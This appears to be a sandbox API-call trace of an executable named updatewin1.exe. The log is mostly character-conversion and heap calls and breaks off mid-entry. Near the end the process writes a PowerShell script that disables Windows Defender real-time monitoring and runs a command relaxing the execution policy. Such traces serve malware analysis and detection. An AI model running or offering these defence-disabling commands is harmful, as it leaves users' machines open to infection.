!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x18e938, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0049.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f30c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xc7\x24\x89\xfb\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0049.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0049.562] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.562] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e958, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0049.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f20c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xc7\x24\x89\xfb\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x80) returned 0x2ca0d8 [0049.563] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x416cb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe")) returned 0x5f [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xdc) returned 0x2cc168 [0049.563] RtlInitializeSListHead (in: ListHead=0x416bd8 | out: ListHead=0x416bd8) [0049.563] GetLastError () returned 0x0 [0049.563] SetLastError (dwErrCode=0x0) [0049.563] GetEnvironmentStringsW () returned 0x2cc250* [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xaca) returned 0x2ccd28 [0049.563] FreeEnvironmentStringsW (penv=0x2cc250) returned 1 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x98) returned 0x2cc250 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x3e) returned 0x2cc2f0 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x6c) returned 0x2cc338 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x6e) returned 0x2cc3b0 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x78) returned 0x2b1188 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x62) returned 0x2cc428 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2e) returned 0x2b52d8 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x48) returned 0x2cc498 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x28) returned 0x2ca160 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1a) returned 0x2cbd18 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x4a) returned 0x2cc4e8 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x72) returned 0x2b1208 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x30) returned 0x2b5310 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2e) returned 0x2b5348 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1c) returned 0x2cbd40 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xd2) returned 0x2cc540 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x7c) returned 0x2cc620 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x36) returned 0x2cc6a8 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x3a) returned 0x2cc6e8 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x90) returned 0x2cc730 [0049.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x24) returned 0x2cc7c8 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x30) returned 0x2b5380 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x36) returned 0x2cc7f8 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x48) returned 0x2cc838 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x52) returned 0x2cc888 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x3c) returned 0x2cd818 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x82) returned 0x2cc8e8 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2e) returned 0x2b53b8 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1e) returned 0x2cbd68 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2c) returned 0x2b53f0 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x54) returned 0x2cc978 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x52) returned 0x2cc9d8 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2a) returned 0x2b5428 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x3c) returned 0x2cd860 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x54) returned 0x2cca38 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x24) returned 0x2cca98 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x30) returned 0x2b5460 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x8c) returned 0x2ccac8 [0049.564] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ccd28 | out: hHeap=0x2a0000) returned 1 [0049.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x800) returned 0x2ccb60 [0049.564] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0049.564] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402ae4) returned 0x404e59 [0049.566] GetStartupInfoW (in: lpStartupInfo=0x18f578 | out: lpStartupInfo=0x18f578*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0049.566] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe\" --Admin" [0049.566] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe\" --Admin", pNumArgs=0x18e580 | out: pNumArgs=0x18e580) returned 0x2cd368*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe" [0049.566] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18d8ec | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0049.572] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="script.ps1" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1") returned 1 [0049.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\script.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa8 [0049.573] lstrcpyA (in: lpString1=0x18e0ec, lpString2="Set-MpPreference -DisableRealtimeMonitoring $true" | out: lpString1="Set-MpPreference -DisableRealtimeMonitoring $true") returned="Set-MpPreference -DisableRealtimeMonitoring $true" [0049.573] lstrlenA (lpString="Set-MpPreference -DisableRealtimeMonitoring $true") returned 49 [0049.573] WriteFile (in: hFile=0xa8, lpBuffer=0x18e0ec*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x18d8e8, lpOverlapped=0x0 | out: lpBuffer=0x18e0ec*, lpNumberOfBytesWritten=0x18d8e8*=0x31, lpOverlapped=0x0) returned 1 [0049.574] CloseHandle (hObject=0xa8) returned 1 [0049.575] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x70) returned 0x2cecd8 [0049.575] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x90) returned 0x2ced50 [0049.575] SetLastError (dwErrCode=0x0) [0049.575] lstrcpyW (in: lpString1=0x18d4e0, lpString2="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" | out: lpString1="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned") returned="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" [0049.575] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18d498*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18d488 | out: lpCommandLine="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned", lpProcessInformation=0x18d488*(hProcess=0xa4, hThread=0xa8, dwProcessId=0x330, dwThreadId=0x7a0)) returned 1 [0049.848] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0049.871] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0049.984] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.212] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.228] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.252] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.272] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.283] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.316] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.337] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.410] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.424] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.439] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.455] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.471] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.487] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.504] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.518] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.546] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.550] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.565] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.580] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.596] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.611] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.627] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.644] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.658] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.677] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.690] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.725] WaitForSingleObject 